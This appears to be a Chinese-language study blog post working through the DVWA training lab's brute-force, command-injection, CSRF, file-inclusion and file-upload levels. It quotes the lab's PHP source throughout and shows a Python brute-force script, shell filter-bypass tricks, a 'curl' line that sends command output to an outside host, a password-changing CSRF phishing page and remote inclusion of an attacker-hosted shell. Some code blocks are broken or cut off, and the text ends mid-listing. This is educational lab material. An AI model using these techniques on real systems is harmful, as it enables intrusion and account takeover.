Toc
  1. 暴力破解
    1. BurpSuit-Intruder
      1. 1、Sniper(狙击手模式)
      2. 2、Battering ram(攻城锤模式)
      3. 3、Pitchfork(草叉模式)
      4. 4、Cluster bomb(集束炸弹模式)
    2. 源码分析
      1. low
      2. Medium
      3. High
    3. impossible
  2. 命令注入
    1. 命令执行简介与基本知识
      1. 常用分隔符
      2. 利用函数
      3. 过滤绕过
        1. 编码绕过
        2. 空格过滤
        3. >,+过滤
        4. 关键词绕过
        5. 无回显的命令执行
  3. 源码分析
    1. low
    2. Medium
    3. high
    4. impossible
  • 跨站请求伪造(CSRF)
    1. 源码分析
      1. low
        1. 漏洞利用
      2. Medium
      3. high
  • 文件包含
    1. 源码分析
      1. low
      2. Medium
      3. high
      4. impossible
  • 文件上传
    1. 源码分析
      1. low
      2. medium
      3. impossible
      4. 二次渲染绕过:
  • sql注入
    1. 源码分析
      1. low
      2. mediun
      3. high
      4. impossible
  • 弱口令
  • XSS
    1. 概述
    2. 危害
    3. 类型
    4. 反射型XSS
      1. low
      2. mediun
      3. high
      4. impossible
    5. 存储型xss
      1. DOM型XSS
  • Toc
    0 results found
    Rayi
    DVWA-常见web漏洞介绍
    2019/12/25 学习笔记

    [TOC]

    趁着最近有点时间,把基础巩固巩固,看看各个漏洞产生的原因和解决方法

    暴力破解

    如同字面意思,就是利用字典对可能的用户名和密码进行穷举,对付弱口令有奇效

    BurpSuit-Intruder

    说起暴力破解,怎么可能少的了这个呢

    简单的介绍下Intruder的配置,它一共有四个模式

    1、Sniper(狙击手模式)

    狙击手模式使用一组payload集合,它一次只使用一个payload位置,假设你标记了两个位置“A”和“B”,payload值为“1”和“2”,那么它攻击会形成以下组合(除原始数据外):

    attack NO. location A location B
    1 1 no replace
    2 2 no replace
    3 no replace 1
    4 no replace 2

    2、Battering ram(攻城锤模式)

    攻城锤模式与狙击手模式类似的地方是,同样只使用一个payload集合,不同的地方在于每次攻击都是替换所有payload标记位置,而狙击手模式每次只能替换一个payload标记位置。

    attack NO. location A location B
    1 1 1
    2 2 2

    3、Pitchfork(草叉模式)

    草叉模式允许使用多组payload组合,在每个标记位置上遍历所有payload组合,假设有两个位置“A”和“B”,payload组合1的值为“1”和“2”,payload组合2的值为“3”和“4”,则攻击模式如下:

    attack NO. location A location B
    1 1 3
    2 2 4

    4、Cluster bomb(集束炸弹模式)

    集束炸弹模式跟草叉模式不同的地方在于,集束炸弹模式会对payload组进行笛卡尔积,还是上面的例子,如果用集束炸弹模式进行攻击,则除baseline请求外,会有四次请求:

    attack NO. location A location B
    1 1 3
    2 2 3
    3 1 4
    4 2 4

    一般对单个点爆破使用狙击手模式就就够用了,如果想同时爆破用户名和密码首选集束炸弹模式,但是时间会很长

    利用dvwa看看爆破方法

    抓个包,打个标记

    image-20191223195546648

    加载字典

    image-20191223195608607

    令人难受的一点是,集束炸弹模式是从第一个payload开始枚举的,例如这里我们如果按照先username后password的顺序打上标记,那么他会认为在前面的username为payload1,于是先固定一个密码,然后尝试完所有的username

    image-20191223195518250

    源码分析

    low

    <?php
    
    if( isset( $_GET[ 'Login' ] ) ) {
        // Get username
        $user = $_GET[ 'username' ];
    
        // Get password
        $pass = $_GET[ 'password' ];
        $pass = md5( $pass );
    
        // Check the database
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        if( $result && mysqli_num_rows( $result ) == 1 ) {
            // Get users details
            $row    = mysqli_fetch_assoc( $result );
            $avatar = $row["avatar"];
    
            // Login successful
            echo "<p>欢迎使用密码保护区 {$user}</p>";
            echo "<img src=\"{$avatar}\" />";
        }
        else {
            // Login failed
            echo "<pre><br />用户名或密码不正确.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?>

    简单的检查用户输入的用户名和密码与数据库中的数据是否匹配,没有做任何限制和过滤,我们还可以通过注入达到登陆的效果

    image-20191223200237809

    Medium

    源码

    <?php
    
    if( isset( $_GET[ 'Login' ] ) ) {
        // Sanitise username input
        $user = $_GET[ 'username' ];
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Sanitise password input
        $pass = $_GET[ 'password' ];
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass = md5( $pass );
    
        // Check the database
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        if( $result && mysqli_num_rows( $result ) == 1 ) {
            // Get users details
            $row    = mysqli_fetch_assoc( $result );
            $avatar = $row["avatar"];
    
            // Login successful
            echo "<p>欢迎使用密码保护区 {$user}</p>";
            echo "<img src=\"{$avatar}\" />";
        }
        else {
            // Login failed
            sleep( 2 );
            echo "<pre><br />用户名或密码不正确.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?>

    中等难度的爆破对登陆失败的情况进行了2秒延时,并且用mysqli_real_escape_string过滤了特殊字符,还对password进行了md5,目前在不考虑编码问题的情况下,以我的能力无法完成sql注入,爆破的时间也会被大大延长

    High

    <?php
    
    if( isset( $_GET[ 'Login' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Sanitise username input
        $user = $_GET[ 'username' ];
        $user = stripslashes( $user );
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Sanitise password input
        $pass = $_GET[ 'password' ];
        $pass = stripslashes( $pass );
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass = md5( $pass );
    
        // Check database
        $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        if( $result && mysqli_num_rows( $result ) == 1 ) {
            // Get users details
            $row    = mysqli_fetch_assoc( $result );
            $avatar = $row["avatar"];
    
            // Login successful
            echo "<p>欢迎使用密码保护区 {$user}</p>";
            echo "<img src=\"{$avatar}\" />";
        }
        else {
            // Login failed
            sleep( rand( 0, 3 ) );
            echo "<pre><br />用户名或密码不正确.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    ?>

    高级的防御比中级增加了检查csrftoken,防止了无脑爆破,但是还是可以解决

    我们只需要获得token,还是可以爆破

    image-20191223203705033

    写脚本爆破:

    import re
    import requests
    
    def get_token(web):
    	token = re.findall(r"user_token' value='(.+?)' />",web)
    	return token[0]
    
    dic = ['123456','88888888']
    cookie = {
    	'security':'high',
    	'PHPSESSID':'a45sqfr1rcbfms76809u972m66'
    }
    
    url = "http://127.0.0.1:8001/dvwaa/vulnerabilities/brute/index.php?username=admin&password={0}&Login=%E7%99%BB%E9%99%86&user_token={1}"
    tmp = requests.get("http://127.0.0.1:8001/dvwaa/vulnerabilities/brute").text
    token = get_token(tmp)
    
    for i in dic:
    	web = requests.get(url.format(i,token),cookies=cookie).text
    	token = get_token(web)
    	print(len(web))
    	print(i)

    image-20191223204930302

    impossible

    源码:

    <?php
    
    if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Sanitise username input
        $user = $_POST[ 'username' ];
        $user = stripslashes( $user );
        $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Sanitise password input
        $pass = $_POST[ 'password' ];
        $pass = stripslashes( $pass );
        $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass = md5( $pass );
    
        // Default values
        $total_failed_login = 3;
        $lockout_time       = 15;
        $account_locked     = false;
    
        // Check the database (Check user information)
        $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
        $row = $data->fetch();
    
        // Check to see if the user has been locked out.
        if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
            // User locked out.  Note, using this method would allow for user enumeration!
            //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
    
            // Calculate when the user would be allowed to login again
            $last_login = strtotime( $row[ 'last_login' ] );
            $timeout    = $last_login + ($lockout_time * 60);
            $timenow    = time();
    
            /*
            print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
            print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
            print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
            */
    
            // Check to see if enough time has passed, if it hasn't locked the account
            if( $timenow < $timeout ) {
                $account_locked = true;
                // print "The account is locked<br />";
            }
        }
    
        // Check the database (if username matches the password)
        $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR);
        $data->bindParam( ':password', $pass, PDO::PARAM_STR );
        $data->execute();
        $row = $data->fetch();
    
        // If its a valid login...
        if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
            // Get users details
            $avatar       = $row[ 'avatar' ];
            $failed_login = $row[ 'failed_login' ];
            $last_login   = $row[ 'last_login' ];
    
            // Login successful
            echo "<p>欢迎使用密码保护区 <em>{$user}</em></p>";
            echo "<img src=\"{$avatar}\" />";
    
            // Had the account been locked out since last login?
            if( $failed_login >= $total_failed_login ) {
                echo "<p><em>警告</em>: 有人可能暴力破解你的帐户.</p>";
                echo "<p>登录尝试次数: <em>{$failed_login}</em>.<br />上次登录尝试时间: <em>${last_login}</em>.</p>";
            }
    
            // Reset bad login count
            $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
            $data->bindParam( ':user', $user, PDO::PARAM_STR );
            $data->execute();
        } else {
            // Login failed
            sleep( rand( 2, 4 ) );
    
            // Give the user some feedback
            echo "<pre><br />用户名或密码不正确.<br /><br/>或者,由于登录失败太多,帐户已被锁定.<br />如果是这样的话, <em>请在 {$lockout_time} 分钟后尝试</em>.</pre>";
    
            // Update bad login count
            $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
            $data->bindParam( ':user', $user, PDO::PARAM_STR );
            $data->execute();
        }
    
        // Set the last login time
        $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>

    sql语句使用了PDO,同时限制了密码尝试的次数,爆破和sql注入基本上都不可能了,不考虑其他漏洞的情况下是几乎完美的防御

    命令注入

    Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。

    命令执行简介与基本知识

    通过php的危险函数执行需要的命令

    简单例题

    <?php    
    if (isset($_POST['host'])) 
    {        
        $host = $_POST['host'];        
        $res = shell_exec("ping -c 4 {$host}");        
        echo $res;    
    }
    ?>

    在ping ip后利用linux的命令分割符分割,可以执行任意命令

    常用分隔符

    ;

    用;号隔开每个命令, 每个命令按照从左到右的顺序,顺序执行, 彼此之间不关心是否失败,所有命令都

    会执行。

    &

    后台执行

    &&

    命令之间使用 && 连接,实现逻辑与的功能。

    只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才会被执行。

    只要有一个命令返回假(命令返回值 $? == 1),后面的命令就不会被执行。

    |

    命令A|命令B,即命令A的正确输出作为命令B的操作对象

    例如: ps aux | grep “test” 在 ps aux中的結果中查找test。

    ||

    命令之间使用 || 连接,实现逻辑或的功能。

    只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才会被执行。

    利用函数

    • system()
    • shell_exec()
    • eval()
    • asssert()
    • exec()
    • preg_replace()
    • call_user_func()
    • passthru()
    • pctml_exec()
    • popen()
    • proc_open()
    • 反引号命令执行(反引号相当于shell_exec())
    <?php
    show_source(__FILE__);
    $a = `whoami`;
    echo $a;
    ?>  
    rayi\shinelon

    过滤绕过

    编码绕过

    如果命令注入的网站过滤了某些分割符,可以将分隔符编码后(url编码,base64等)绕过

    空格过滤
    • linux内置分隔符

    ${IFS},$IFS,$IFS$9

    root # cat${IFS}flag
    weqweqweqweqweqwe
    root # cat$IFS$9flag
    weqweqweqweqweqwe
    >,+过滤

    对于 >,+ 等 符号的过滤 , $PS2变量为>,$PS4变量则为+

    关键词绕过
    • 通过拆分命令达到绕过的效果

    a=l;b=s;$a$b

    • 空变量绕过

    cat fl${x}ag

    cat tes$(z)t/flag

    • 控制环境变量绕过

    $PATH => "/usr/local/….blablabla”

    ${PATH:0:1} => '/'

    ${PATH:1:1} => 'u'

    ${PATH:0:4} => '/usr'

    • 空值绕过

    cat fl""ag

    cat fl''ag

    cat "fl""ag"

    无回显的命令执行

    可以通过curl命令将命令的结果输出到访问的url中

    curl www.rayi.vip/`whoami`

    在服务器日志中可看到

    58.56.34.74 - - [12/Aug/2019:10:32:10 +0800] "GET /root HTTP/1.1" 404 146 "-" "curl/7.58.0"

    这样,命令的回显就能在日志中看到了


    源码分析

    low

    源码:

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    
    ?>

    image-20191223210632478

    low难度下的直接可以得到回显,没有任何过滤

    Medium

    源码:

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
    
        // Set blacklist
        $substitutions = array(
            '&&' => '',
            ';'  => '',
        );
    
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    
    ?>

    将部分分隔符替换为空,然并卵

    image-20191223211022033

    image-20191223211114000

    high

    源码:

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = trim($_REQUEST[ 'ip' ]);
    
        // Set blacklist
        $substitutions = array(
            '&'  => '',
            ';'  => '',
            '| ' => '',
            '-'  => '',
            '$'  => '',
            '('  => '',
            ')'  => '',
            '`'  => '',
            '||' => '',
        );
    
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    
    ?>

    过滤了更多东西,一开始白盒审计我没看出来怎么绕,但是黑盒测试的时候发现|可以用。。。

    明明过滤了啊,后来一看,原来过滤的是|空格,不是|

    impossible

    源码:

    <?php
    
    if( isset( $_POST[ 'Submit' ]  ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $target = $_REQUEST[ 'ip' ];
        $target = stripslashes( $target );
    
        // Split the IP into 4 octects
        $octet = explode( ".", $target );
    
        // Check IF each octet is an integer
        if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
            // If all 4 octets are int's put the IP back together.
            $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
    
            // Determine OS and execute the ping command.
            if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
                // Windows
                $cmd = shell_exec( 'ping  ' . $target );
            }
            else {
                // *nix
                $cmd = shell_exec( 'ping  -c 4 ' . $target );
            }
    
            // Feedback for the end user
            echo "<pre>{$cmd}</pre>";
        }
        else {
            // Ops. Let the user name theres a mistake
            echo '<pre>错误:您输入了一个无效的 IP.</pre>';
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>

    使用了csrftoken,并且对ip格式严加过滤和验证

    无法绕过,完美的防御

    跨站请求伪造(CSRF)

    CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用

    同样是钓鱼手段之一,诱导受害人点击相应链接,利用受害人的身份去搞事情

    源码分析

    low

    <?php 
    
    if( isset( $_GET[ 'Change' ] ) ) { 
        // Get input 
        $pass_new  = $_GET[ 'password_new' ]; 
        $pass_new = $_GET[ 'password_conf' ]; 
    
        // Do the passwords match? 
        if( $pass_new == $pass_conf ) { 
            // They do! 
            $pass_new = mysql_real_escape_string( $pass_new ); 
            $pass_new = md5( $pass_new ); 
    
            // Update the database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 
    
            // Feedback for the user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Issue with passwords matching 
            echo "<pre>Passwords did not match.</pre>"; 
        } 
    
        mysql_close(); 
    } 
    
    ?>

    简单的改密码页面,验证了$pass_new$pass_conf是否一致,一致则更改密码

    漏洞利用

    构造链接:

    127.0.0.1:8001/dvwaa/vulnerabilities/csrf/?password_new=88888888&password_conf=123&Change=%E6%9B%B4%E6%94%B9

    这过于明显。。。一般人。。。应该不会点吧

    • 使用短链接来隐藏url
      可以使用百度短网址,将地址缩短进行伪装

    上述两种方法都可以在同个浏览器访问已经同个网站的时候才可以生效,但是受害者最终还是能看到密码修改成功的页面,所以还需要进一步伪装

    • 构造钓鱼页面
      在公网服务器上上传一个攻击页面,诱骗受害者去访问,并且不做任何跳转,如下的简单的页面
    <img src="http://dvwa.com/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#"/> 
    <h1>404</h1>
    <h2>file not found.</h2>

    Medium

    源码:

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // Checks to see where the request came from
        if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
            // Get input
            $pass_new  = $_GET[ 'password_new' ];
            $pass_conf = $_GET[ 'password_conf' ];
    
            // Do the passwords match?
            if( $pass_new == $pass_conf ) {
                // They do!
                $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
                $pass_new = md5( $pass_new );
    
                // Update the database
                $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
                // Feedback for the user
                echo "<pre>密码已更改.</pre>";
            }
            else {
                // Issue with passwords matching
                echo "<pre>密码不匹配.</pre>";
            }
        }
        else {
            // Didn't come from a trusted source
            echo "<pre>那个请求看起来不正确.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?>

    增加了验证HTTP_REFERER

    image-20191223214551257

    修改攻击页面的文件名为被攻击的主机名即可

    image-20191223214835826

    (偷个网上的图,懒得改了)

    high

    源码

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // Check Anti-CSRF token
        checkToken(.php' );
    
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
    
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
    
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
            // Feedback for the user
            echo "<pre>密码已更改.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>密码不匹配.</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>

    文件包含

    常用的

    源码分析

    low

    源码

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    ?>

    没有任何的过滤,服务器会把无论是本地文件还是远程链接的文件包含进来,并把其中的php代码执行

    page参数没有做任何的过滤跟检查,接受什么参数就包含相应的文件,并将结果返回。

    如果可以远程文件包含的话,我们就能先在自己的服务器写个shell.txt,利用这里包含shell.txt,就可以拿到被攻击者的shell

    image-20191223221541044

    Medium

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Input validation
    $file = str_replace( array( "http://", "https://" ), "", $file );
    $file = str_replace( array( "../", "..\"" ), "", $file );
    
    ?>

    利用str_replace替换了部分特殊字符,我们可以双写然后利用绝对路径绕过

    high

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Input validation
    if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
        // This isn't the page we want!
        echo " ERROR: File not found! ";
        exit;
    }
    
    ?>

    只允许包含file开头的文件

    可以使用file://协议绕过

    关于php伪协议可以看相关笔记

    impossible

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Only allow include.php or file{1..3}.php
    if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
        // This isn't the page we want!
        echo " ERROR: File not found! ";
        exit;
    }
    
    ?>

    规定只允许包含file1,2,3文件,无法绕过

    文件上传

    文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过文件上传漏洞。

    源码分析

    low

    <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>您的图像未上传.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} 上传成功!</pre>";
        }
    }
    
    ?>

    没有任何过滤,可以直接上传webshell,还返回shell的路径。如果上传的目录可以执行php文件和相关函数的话,这个服务器就要完蛋了

    image-20191225131425128

    medium

    oaded_name = $_FILES[ ‘uploaded’ ][ ‘name’ ];
    $uploaded_type = $_FILES[ ‘uploaded’ ][ ‘type’ ];
    $uploaded_size = $_FILES[ ‘uploaded’ ][ ‘size’ ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {
    
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>您的图像未上传.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} 上传成功!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>您的图像未上传。只能接受jpeg或png图像.</pre>';
    }
    

    }

    ?>

    
    增加了对文件类型和大小的检查,但是没有啥用,这些参数我们都可以用抓包进行修改
    
    #### high
    
    ```php
    
    <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    
        // Is it an image?
        if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
            ( $uploaded_size < 100000 ) &&
            getimagesize( $uploaded_tmp ) ) {
    
            // Can we move the file to the upload folder?
            if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
                // No
                echo '<pre>您的图像未上传.</pre>';
            }
            else {
                // Yes!
                echo "<pre>{$target_path} 上传成功!</pre>";
            }
        }
        else {
            // Invalid file
            echo '<pre>您的图像未上传。只能接受jpeg或png图像.</pre>';
        }
    }
    
    ?>

    同时检查了文件后缀名,文件类型,文件大小,文件头,后缀名运用了白名单进行限制,这导致我们只能上传规定的图片,但是我们仍然可以上传图片马,结合文件包含漏洞进行攻击

    如果有00截断的话,上传shell也是没问题的

    impossible

    
    <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
        $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    
        // Where are we going to be writing to?
        $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
        //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
        $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
